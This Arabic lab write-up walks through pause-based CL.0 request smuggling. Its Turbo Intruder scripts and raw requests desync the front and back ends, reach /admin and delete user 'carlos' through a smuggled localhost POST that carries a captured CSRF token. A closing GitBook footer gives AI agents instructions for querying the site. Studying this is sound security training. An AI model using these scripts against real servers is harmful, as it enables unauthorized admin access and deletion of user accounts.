> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# تهريب الطلبات من جانب الخادم القائم على الإيقاف المؤقت

### تهريب الطلبات من جهة الخادم القائم على الإيقاف المؤقت

المعمل عرضة لهجوم تهريب الطلبات من جهة الخادم القائم على الإيقاف المؤقت. الخادم الأمامي يمرر الطلبات إلى الخادم الداخلي باستمرار، ولا يغلق الخادم الداخلي الاتصال بعد فترة من الخمول في بعض نقاط النهاية.

لحل المعمل:

* حدِّد متجه عدم التزامن **CL.0** القائم على إيقاف مؤقت،
* هرِّب طلبًا إلى الخادم الداخلي للوصول إلى لوحة الإدارة **/admin**,
* ثم احذف المستخدم **carlos**.

**ملاحظة**/ لا يمكن استغلال بعض هذه الثغرات باستخدام أدوات Burp الأصلية. من الضروري استخدام **Turbo Intruder** الإضافة.

<figure><img src="/files/7dedfcd43de9b5f8d174e3cfcda5b67592ed4d3f" alt=""><figcaption></figcaption></figure>

#### **نقطة الضعف: `/resources`**

من خلال إرسال طلب إلى `/resources` وإدراج توقف مؤقت طويل (61 ثانية)، يمكن التسبب في عدم التزامن بين الواجهة الأمامية والخلفية:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

لاستغلال هذا السلوك، نستخدم **Turbo Intruder**.

<figure><img src="/files/f7c72d503719e87265225ec99f1568f4d88f5411" alt=""><figcaption></figcaption></figure>

#### **البرنامج النصي الأساسي**

يتم تعديل البرنامج النصي الافتراضي لإدراج توقف مؤقت لمدة **61 000 مللي ثانية** بعد إرسال العلامة (`pauseMarker`)، بحيث يُحقن الطلب الثاني بعد التأخير:

<figure><img src="/files/14f53e25fd8900871bde8bf3667f5d7e63a294c8" alt=""><figcaption></figcaption></figure>

يُظهر التحليل أن طلبين يصلان إلى الخادم الخلفي بعد حوالي **62 ثانية**، مما يؤكد الثغرة.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/36f1eefd48df283c6b1e4d8e9c8c5de6019caefe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/efc13397b4734ccf953f55138364dd5bf4013b9c" alt=""><figcaption></figcaption></figure>

#### **الحقن نحو `/admin/`**

من خلال تكييف الطلب المهرَّب مع لوحة الإدارة:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

يستجيب الخادم الداخلي بـ **تم العثور عليه**، مما يثبت أنه قد تم فرض وصول المدير.

<figure><img src="/files/165e1364604d76030a2a06aad2ede2af63ee4b23" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم Carlos**

لتجاوز حماية CSRF، يتم تعديل مضيف الطلب المهرَّب إلى **localhost**، بما في ذلك نص POST مع الرمز الملتقط:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

يؤدي الحقن إلى تشغيل طلب POST المهرَّب على الخادم الداخلي، مما يؤدي إلى حذف المستخدم **carlos**.

<figure><img src="/files/5028aebd4904e706e0efeb843b45dd70149cc688" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
